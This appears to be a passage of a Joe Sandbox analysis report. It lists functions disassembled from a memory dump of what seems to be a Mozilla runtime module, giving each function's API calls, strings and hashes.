Function 6CB95EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CBADCA0,?,?,?,6CB6E8B5,00000000), ref: 6CB95F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB6E8B5,00000000), ref: 6CB95F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB6E8B5,00000000), ref: 6CB95F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB6E8B5,00000000), ref: 6CB95F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB6E8B5,00000000), ref: 6CB95FD6

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 81b5ebd5713cc7cc9420c4eba80d7d7a6969de043529ed4c202635e30fd2c000
Instruction ID: 09b0302fb026a4a8216b1f46340898e0c7035e635ff7f2cd516682733d82e7c6
Opcode Fuzzy Hash: 81b5ebd5713cc7cc9420c4eba80d7d7a6969de043529ed4c202635e30fd2c000
Instruction Fuzzy Hash: B3312D343406408FDB10CF29C498B2AB7F5FF8A329B644668E55687795CB35EC45CB85

Function 6CB3B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CB3B532
moz_xmalloc.MOZGLUE(?), ref: 6CB3B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB3B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CB3B57E
free.MOZGLUE(00000000), ref: 6CB3B58F

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ac84407ce1247e72d5766044b35aefa008ce5a1b11de5b53017a40efa67b966c
Instruction ID: 9bdaa567aec04547d6c6e957d4cc07670b9a2da1b4161ddf12151d4eaa214f54
Opcode Fuzzy Hash: ac84407ce1247e72d5766044b35aefa008ce5a1b11de5b53017a40efa67b966c
Instruction Fuzzy Hash: 9C21F671A002559BDB008F69CC50BAEBBB9FF45304F294029E818DB345E776DD15C7A1

Function 6CB3B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB3B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB3B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CB3B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB3B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3B849

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 11df1f9470ba95862124a0ebf7ae7722b9be55683c5c1ef69dafbf9eadafedd2
Instruction ID: d7070cbb95324f1249d95f9f021536a86f276486b80ef0e3600a8726791bdfb5
Opcode Fuzzy Hash: 11df1f9470ba95862124a0ebf7ae7722b9be55683c5c1ef69dafbf9eadafedd2
Instruction Fuzzy Hash: A7212CB0E002599FDF04DFA9C8856BFBBB8EF49314F148129ED49A7341E731A944CBA1

Function 6CB96E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB96E78

Part of subcall function 6CB96A10: InitializeCriticalSection.KERNEL32(6CBBF618), ref: 6CB96A68
Part of subcall function 6CB96A10: GetCurrentProcess.KERNEL32 ref: 6CB96A7D
Part of subcall function 6CB96A10: GetCurrentProcess.KERNEL32 ref: 6CB96AA1
Part of subcall function 6CB96A10: EnterCriticalSection.KERNEL32(6CBBF618), ref: 6CB96AAE
Part of subcall function 6CB96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB96AE1
Part of subcall function 6CB96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CB96B15
Part of subcall function 6CB96A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CB96B65
Part of subcall function 6CB96A10: LeaveCriticalSection.KERNEL32(6CBBF618,?,?), ref: 6CB96B83

MozFormatCodeAddress.MOZGLUE ref: 6CB96EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB96EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB96EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CB96EFF

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 2bf004a03d58e9b149e43b9a2234ce2c3149772f3a43ecf7233b103403c4c08d
Instruction ID: 5e7cb7d34d713b0ceb982267fcef27bd250067179f24327d4da72b706b7f5739
Opcode Fuzzy Hash: 2bf004a03d58e9b149e43b9a2234ce2c3149772f3a43ecf7233b103403c4c08d
Instruction Fuzzy Hash: C021A171A0425A9FDF00CF69D8C569E77F9FF85348F044039E80997241EB749A58CF96

Function 6CB976C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CB976F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CB97705

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB97717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CB9778F,00000000,00000000,00000000,00000000), ref: 6CB97731
free.MOZGLUE(00000000), ref: 6CB97760

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ec83bfaa355b3e4bf50337dc523b9454ad656898ebf8a6c84de6f0a516f0b57d
Instruction ID: 0652721f6df14e58685b48345ff736a07e3407c34d4ccbab49b8620e8ea43fbf
Opcode Fuzzy Hash: ec83bfaa355b3e4bf50337dc523b9454ad656898ebf8a6c84de6f0a516f0b57d
Instruction Fuzzy Hash: CA11B6B1904255ABD710AF758C44B6B7EE8EF56354F144429F848A7300E775984487E2

Function 6CB70D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CB33DEF), ref: 6CB70D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CB33DEF), ref: 6CB70D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CB33DEF), ref: 6CB70DAF

Strings

<jemalloc>, xrefs: 6CB70D92, 6CB70DB9
: (malloc) Error in VirtualFree(), xrefs: 6CB70D97, 6CB70DBE

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: e59640d0f45c4cdbe0a4e99d7b6542403f634bb12d156077f0d9158d4648c108
Instruction ID: 711dc368a3f1c8c9389434fba03943bb6c0be70e63ac7fa921209c6c7087e7c4
Opcode Fuzzy Hash: e59640d0f45c4cdbe0a4e99d7b6542403f634bb12d156077f0d9158d4648c108
Instruction Fuzzy Hash: 78F0BB223843E426DA3011656D09B7A355DB7C1B15F244027FE64EE9C0DE61E8004779

Function 6CB87620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CB875C4,?), ref: 6CB8762B

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87644
GetCurrentThreadId.KERNEL32 ref: 6CB8765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CB874D7,6CB915FC,?,?,?), ref: 6CB87677

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4a02102c238f3687dfb0a7717830491704ce670179a04342944d8d8329e1b7ae
Instruction ID: 8f92195577ccba41d3f358372e9bf6e00005c5de56fa5f5d9043f211afdf6638
Opcode Fuzzy Hash: 4a02102c238f3687dfb0a7717830491704ce670179a04342944d8d8329e1b7ae
Instruction Fuzzy Hash: 0AF0C271E10785AFD7008F21C88867AB778FFEA259F115316F90443611EBB0B5D08BD0

Function 6CB91700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB91800

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

Part of subcall function 6CB34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB73EBD,6CB73EBD,00000000), ref: 6CB342A9

Strings

Details, xrefs: 6CB91925
{marker.name} - {marker.data.name}, xrefs: 6CB918C7
name, xrefs: 6CB91939

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 556ce6466470e7d28877e270d1681076266c28fb3eaddce3d2504ae25f7154ee
Instruction ID: e5f66f5e5bca13a7b3a17774f3dbe7d94acff683b0faa22753eb648551bfa594
Opcode Fuzzy Hash: 556ce6466470e7d28877e270d1681076266c28fb3eaddce3d2504ae25f7154ee
Instruction Fuzzy Hash: 5171F674A007869FCB04CF28D4506AEBBB5FF46314F444669D4155BB41DB70FAA8CBE2

Function 6CB9B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CB9B0A6,6CB9B0A6,?,6CB9AF67,?,00000010,?,6CB9AF67,?,00000010,00000000,?,?,6CB9AB1F), ref: 6CB9B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CB9B0A6,6CB9B0A6,?,6CB9AF67,?,00000010,?,6CB9AF67,?,00000010,00000000,?), ref: 6CB9B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CB9B0A6,6CB9B0A6,?,6CB9AF67,?,00000010,?,6CB9AF67,?,00000010), ref: 6CB9B25F

Strings

map/set<T> too long, xrefs: 6CB9B1FA

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: d55ddd1f8ef22b35aca165b44565ce1cb7b76693f47158681a8f5918a84cb695
Instruction ID: 68212fe6277d072c07724c46f50c817e536139dfac293360ee4e2f56fbb8076e
Opcode Fuzzy Hash: d55ddd1f8ef22b35aca165b44565ce1cb7b76693f47158681a8f5918a84cb695
Instruction Fuzzy Hash: 8D617B746042958FDB11CF19C880A9ABBF1FF4A318F68C5A9D8594FB52C731EC45CB92

Function 6CB5D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

EnterCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D4F2
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D50B

Part of subcall function 6CB3CFE0: EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB3CFF6
Part of subcall function 6CB3CFE0: LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D52E
EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D690
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76F92FE0,00000001,?,6CB6D1C5), ref: 6CB5D751

Strings

MOZ_CRASH(), xrefs: 6CB5D4BB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 805e9fba0923d54a949e68279d8837355a6c49df51743d11c448b9afdfdd5416
Instruction ID: 99c08ef7e90e9cea29c70587db9a51e55e7beeb3e472f7a0ff4fc2842c04d402
Opcode Fuzzy Hash: 805e9fba0923d54a949e68279d8837355a6c49df51743d11c448b9afdfdd5416
Instruction Fuzzy Hash: DD510275A047858FD714CF39C59072AB7E1EB89304FA44A2EE59AC7F94DB70E810CB92

Function 6CB84630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB84721

Strings

profiler-paused, xrefs: 6CB846E4
-%llu, xrefs: 6CB84733
., xrefs: 6CB8476A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7014a32434b6ae8972c069d2533f7e33155d6ff126895728bcfe4532456312a0
Instruction ID: 2fba0a640a00ae01072d8a03590177830fac34fa9f43195c01d9051ff5a3d3f9
Opcode Fuzzy Hash: 7014a32434b6ae8972c069d2533f7e33155d6ff126895728bcfe4532456312a0
Instruction Fuzzy Hash: E6416B75E047489FCB08DFB9E86219EBBF9EF85744F10863EE84557B41EB3098048B42

Function 6CBA9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CBA985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CBA987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CBA98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CBA98D9

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 9a1aabfc93d899e9f72329c5a6505b3b1e4f2b5d2ca9b4babec5f3adb6153464
Instruction ID: 2c6535322339d347018d85fcf77ee049d5dbb6a0c140b95c9dadcb1fe13ad0c7
Opcode Fuzzy Hash: 9a1aabfc93d899e9f72329c5a6505b3b1e4f2b5d2ca9b4babec5f3adb6153464
Instruction Fuzzy Hash: FD313875B0014CAFDF14AF99DC505EF77A9DF48354F40442DEA0AABB40CB3159058BD1

Function 6CB846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB84721

Part of subcall function 6CB34410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CB73EBD,00000017,?,00000000,?,6CB73EBD,?,?,6CB342D2), ref: 6CB34444

Strings

profiler-paused, xrefs: 6CB846E4
-%llu, xrefs: 6CB84733
., xrefs: 6CB8476A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2a39dc1204f766b7a6af4ac2e6b724becf42859667fad4453491634764593a9b
Instruction ID: be4e3741bed757e7cba27f7b5636c60f8fba911bc7eae129287c9cef14c5af4f
Opcode Fuzzy Hash: 2a39dc1204f766b7a6af4ac2e6b724becf42859667fad4453491634764593a9b
Instruction Fuzzy Hash: 2F314B75F052484BCF0CCFADD8912AEBBEADB98314F54453EE8059BB41EB7498048F51

Function 6CB8B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB73EBD,6CB73EBD,00000000), ref: 6CB342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB8B127), ref: 6CB8B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB8B4E4

Strings

pid:, xrefs: 6CB8B4DE

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 17007ee498c007fcf383b7c1da6b25147e12eb88c183755bb6e36554f42cfae3
Instruction ID: 9c69cb12dc6e6542760bfc9116b25e9e3ee50aadc9ce6ed5426f864c9d97525b
Opcode Fuzzy Hash: 17007ee498c007fcf383b7c1da6b25147e12eb88c183755bb6e36554f42cfae3
Instruction Fuzzy Hash: 5A31F031A02288DBDB00DFB9DC81AEEB7B5FF05318F580529D81167B41D731E849CBA2

Function 6CB7E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB7E577
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7E584
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB7E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB7E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB7E826, 6CB7E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB7E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB7E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB7E722, 6CB7E750, 6CB7E7A2
MOZ_PROFILER_STARTUP, xrefs: 6CB7E5A1, 6CB7E5CC, 6CB7E5FF, 6CB7E62A

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3725d8e204e2c051ce2e2876b04e418f38bff87ca6936f87a3cf3c6ceafd55e2
Instruction ID: 896e9a912e6176e03fddd2d7d0674cd6db60fbcbff2c61f0f762fab5f7be8728
Opcode Fuzzy Hash: 3725d8e204e2c051ce2e2876b04e418f38bff87ca6936f87a3cf3c6ceafd55e2
Instruction Fuzzy Hash: 3911A13D604298DFCB109F18C448A6EFBB4FF89328F410619F85557A50CB74A804CB99

Function 6CB80C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB80CD5

